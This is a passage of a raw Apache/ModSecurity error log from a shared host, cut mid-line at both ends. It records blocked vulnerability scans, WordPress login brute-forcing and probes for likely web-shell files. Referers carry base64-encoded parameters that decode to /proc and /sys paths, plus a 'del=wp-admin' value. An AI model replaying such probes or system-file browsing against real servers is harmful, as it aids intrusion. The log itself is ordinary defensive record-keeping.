"ai3xC8TA7b1mZrmcA-8UxwACSCs"] [Sat Jun 13 18:08:43.909023 2026] [security2:error] [pid 531797:tid 532115] [client 20.151.217.54:48130] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/acip.php"] [unique_id "ai3xC8TA7b1mZrmcA-8UyAAAAog"] [Sat Jun 13 18:08:43.917084 2026] [access_compat:error] [pid 531797:tid 531900] [remote 57.141.14.63:24792] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:43.917341 2026] [access_compat:error] [pid 531797:tid 531900] [remote 57.141.14.63:24792] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:44.014448 2026] [access_compat:error] [pid 531797:tid 531944] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzA3MDkzL2N3ZA== [Sat Jun 13 18:08:44.014859 2026] [access_compat:error] [pid 531797:tid 531944] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzA3MDkzL2N3ZA== [Sat Jun 13 18:08:44.070209 2026] [security2:error] [pid 531797:tid 531869] [remote 17.246.23.181:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 181.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xDMTA7b1mZrmcA-8U0QACewU"] [Sat Jun 13 18:08:44.144796 2026] [security2:error] [pid 531155:tid 531168] [remote 17.241.227.174:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 174.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xDCmiP80klyS0NnrsggABiQw"] [Sat Jun 13 18:08:44.213551 2026] [security2:error] [pid 531797:tid 531905] [remote 17.22.237.128:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 128.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xDMTA7b1mZrmcA-8U1AACKyk"] [Sat Jun 13 18:08:44.277493 2026] [access_compat:error] [pid 531155:tid 531221] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZQ== [Sat Jun 13 18:08:44.277804 2026] [access_compat:error] [pid 531155:tid 531221] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZQ== [Sat Jun 13 18:08:44.582464 2026] [access_compat:error] [pid 531797:tid 531929] [remote 57.141.14.98:49040] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:44.582814 2026] [access_compat:error] [pid 531797:tid 531929] [remote 57.141.14.98:49040] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:44.607481 2026] [access_compat:error] [pid 531797:tid 531952] [remote 57.141.14.40:41014] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:44.607812 2026] [access_compat:error] [pid 531797:tid 531952] [remote 57.141.14.40:41014] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:44.783298 2026] [access_compat:error] [pid 531155:tid 531267] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9pbnB1dC9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:08:44.783578 2026] [access_compat:error] [pid 531155:tid 531267] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9pbnB1dC9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:08:44.875695 2026] [security2:error] [pid 531797:tid 532065] [client 191.233.234.186:53489] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/spire.php"] [unique_id "ai3xDMTA7b1mZrmcA-8U5gAAAlc"] [Sat Jun 13 18:08:44.881008 2026] [access_compat:error] [pid 531797:tid 531921] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvMzMxMTQ5L2N3ZA== [Sat Jun 13 18:08:44.881300 2026] [access_compat:error] [pid 531797:tid 531921] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvMzMxMTQ5L2N3ZA== [Sat Jun 13 18:08:44.900010 2026] [security2:error] [pid 531797:tid 531963] [remote 17.246.23.225:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 225.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xDMTA7b1mZrmcA-8U6QACFmM"] [Sat Jun 13 18:08:44.913982 2026] [security2:error] [pid 531797:tid 531951] [remote 17.241.219.44:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 44.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xDMTA7b1mZrmcA-8U5wACVFc"] [Sat Jun 13 18:08:45.244619 2026] [access_compat:error] [pid 531155:tid 531158] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:08:45.244905 2026] [access_compat:error] [pid 531155:tid 531158] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:08:45.257764 2026] [security2:error] [pid 531797:tid 531909] [remote 17.22.237.160:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 160.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xDcTA7b1mZrmcA-8U8QACdC0"] [Sat Jun 13 18:08:45.272451 2026] [access_compat:error] [pid 531797:tid 531985] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:45.272858 2026] [access_compat:error] [pid 531797:tid 531985] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:45.313908 2026] [security2:error] [pid 531797:tid 532008] [client 191.234.188.123:63866] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/ahaoi.php"] [unique_id "ai3xDcTA7b1mZrmcA-8U9QAAAiA"] [Sat Jun 13 18:08:45.314812 2026] [security2:error] [pid 531797:tid 531968] [remote 57.141.14.44:53739] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 44.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3xDcTA7b1mZrmcA-8U9AACXGc"], referer: https://nelsonfarmstn.com/shop/?add_to_wishlist=9604&_wpnonce=8d149de2a5&add-to-cart=389 [Sat Jun 13 18:08:45.376901 2026] [security2:error] [pid 531155:tid 531160] [remote 31.24.155.180:55060] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 180.155.24.31.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "yoozu.fr"] [uri "/wp-login.php"] [unique_id "ai3xDSmiP80klyS0NnrsoAABcgQ"], referer: https://yoozu.fr/wp-login.php [Sat Jun 13 18:08:45.382592 2026] [security2:error] [pid 531797:tid 531937] [remote 17.241.75.182:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xDcTA7b1mZrmcA-8U9wACO0k"] [Sat Jun 13 18:08:45.432484 2026] [access_compat:error] [pid 531797:tid 531925] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L25ldA== [Sat Jun 13 18:08:45.432775 2026] [access_compat:error] [pid 531797:tid 531925] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L25ldA== [Sat Jun 13 18:08:45.524145 2026] [access_compat:error] [pid 531797:tid 531889] [remote 57.141.14.103:53626] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:45.524422 2026] [access_compat:error] [pid 531797:tid 531889] [remote 57.141.14.103:53626] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:45.550317 2026] [security2:error] [pid 531797:tid 531930] [remote 144.76.119.9:17192] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.119.76.144.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "djstardao.com"] [uri "/wp-login.php"] [unique_id "ai3xDcTA7b1mZrmcA-8U_wACUUI"], referer: https://djstardao.com/wp-login.php [Sat Jun 13 18:08:45.608745 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAzL25ldA== [Sat Jun 13 18:08:45.609019 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAzL25ldA== [Sat Jun 13 18:08:45.647121 2026] [security2:error] [pid 531155:tid 531408] [client 216.73.216.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/vprintf_variation8.phpt"] [unique_id "ai3xDSmiP80klyS0NnrspQAAAYU"] [Sat Jun 13 18:08:45.736662 2026] [security2:error] [pid 531155:tid 531289] [client 20.151.217.54:48585] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/mg.php"] [unique_id "ai3xDSmiP80klyS0NnrsqAAAAQ4"] [Sat Jun 13 18:08:45.754106 2026] [access_compat:error] [pid 531155:tid 531261] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvTE5YQ1BVOjFi [Sat Jun 13 18:08:45.754406 2026] [access_compat:error] [pid 531155:tid 531261] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvTE5YQ1BVOjFi [Sat Jun 13 18:08:46.063033 2026] [access_compat:error] [pid 531797:tid 531914] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL2N3ZA== [Sat Jun 13 18:08:46.063316 2026] [access_compat:error] [pid 531797:tid 531914] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL2N3ZA== [Sat Jun 13 18:08:46.069172 2026] [security2:error] [pid 531797:tid 531888] [remote 17.246.23.125:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 125.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xDsTA7b1mZrmcA-8VEAACfxg"] [Sat Jun 13 18:08:46.272271 2026] [access_compat:error] [pid 531155:tid 531179] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Nw== [Sat Jun 13 18:08:46.272754 2026] [access_compat:error] [pid 531155:tid 531179] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Nw== [Sat Jun 13 18:08:46.367366 2026] [access_compat:error] [pid 531797:tid 531991] [remote 57.141.14.49:51971] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:46.367834 2026] [access_compat:error] [pid 531797:tid 531991] [remote 57.141.14.49:51971] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:46.411551 2026] [access_compat:error] [pid 531797:tid 531946] [remote 57.141.14.95:41237] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:46.411839 2026] [access_compat:error] [pid 531797:tid 531946] [remote 57.141.14.95:41237] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:46.493415 2026] [security2:error] [pid 531155:tid 531358] [client 191.233.234.186:53479] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/auto.php"] [unique_id "ai3xDimiP80klyS0NnrsvQAAAVM"] [Sat Jun 13 18:08:46.609880 2026] [access_compat:error] [pid 531797:tid 531920] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTk4NjQyL2N3ZA== [Sat Jun 13 18:08:46.610162 2026] [access_compat:error] [pid 531797:tid 531920] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTk4NjQyL2N3ZA== [Sat Jun 13 18:08:46.852464 2026] [access_compat:error] [pid 531155:tid 531248] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:08:46.852781 2026] [access_compat:error] [pid 531155:tid 531248] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 